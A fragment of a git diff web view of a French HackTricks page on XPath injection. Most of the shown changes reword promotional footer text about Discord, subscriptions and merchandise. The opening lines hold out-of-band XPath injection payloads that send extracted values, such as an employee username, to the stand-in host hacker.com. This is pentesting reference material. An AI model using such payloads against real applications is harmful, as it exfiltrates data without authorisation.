doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
|
||||
|
@ -417,25 +310,27 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
|
||||
|
||||
**Perspectives de piratage**\
|
||||
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
|
||||
**Aperçus de Hacking**\
|
||||
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking.
|
||||
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez à jour avec le monde du piratage en évolution rapide grâce à des actualités et des informations en temps réel
|
||||
**Nouvelles de Hacking en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel.
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
**Dernières Annonces**\
|
||||
Restez informé avec le lancement des dernières primes de bugs et les mises à jour cruciales de la plateforme.
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because it is too large
Load diff
Loading…
Add table
Reference in a new issue